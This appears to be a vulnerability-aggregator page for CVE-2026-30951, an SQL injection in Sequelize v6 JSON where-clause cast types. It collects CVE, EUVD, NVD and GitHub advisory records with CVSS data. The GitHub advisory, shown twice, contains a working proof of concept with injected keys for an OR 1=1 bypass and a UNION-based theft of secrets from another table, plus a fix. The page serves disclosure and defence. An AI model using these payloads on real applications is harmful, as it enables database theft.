Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
cve-program · CVE-2026-30951
PublishedSequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
Read the publisher's advisoryeuvd · EUVD-2026-10870
PublishedSequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
Read the publisher's advisorynvd · CVE-2026-30951
PublishedSequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
Read the publisher's advisoryosv · GHSA-6457-6jrx-69cr
Published### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install [email protected] sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-30951
PublishedSequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
- Source published
- 10 Mar 2026 20:22:46 UTC
- Source modified
- 20 Aug 2026 12:31:50 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
euvd · EUVD-2026-10870
PublishedSequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated r…
Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Mar 10, 2026, 8:22:46 PM
dateUpdated: Aug 20, 2026, 12:31:50 PM
2 related source bulletins · separate from aliases
RHSA-2026:8498: Red Hat Security Advisory: General availability of the satellite/iop-remediations-rhel9 container image
CVE-2026-4800 · CVE-2026-30951
WID-SEC-W-2026-1160: Red Hat Enterprise Linux und Satellite (satellite/iop-remediations-rhel9 container image): Mehrere Schwachstellen
CVE-2026-30951 · CVE-2026-4800
- Source published
- Mar 10, 2026, 8:22:46 PM (timezone not stated)
- Source modified
- Aug 20, 2026, 12:31:50 PM (timezone not stated)
- Saved here
- 15 Nov 2026 09:31:01 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-30951
PublishedSequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated r…
Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-89
Original publisher date fields
published: 2026-03-10T21:16:48.030
lastModified: 2026-07-15T02:19:45.850
1 source CPE criteria · context only
- cpe:2.3:a:sequelizejs:sequelize:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 10 Mar 2026 21:16:48 UTC
- Source modified
- 15 Jul 2026 02:19:45 UTC
- Saved here
- 25 Oct 2026 07:19:14 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-6457-6jrx-69cr
PublishedSequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type
### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install [email protected] sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```
- Source published
- 11 Mar 2026 00:18:48 UTC
- Source modified
- 10 Sep 2026 03:50:37 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Publisher rating · HIGH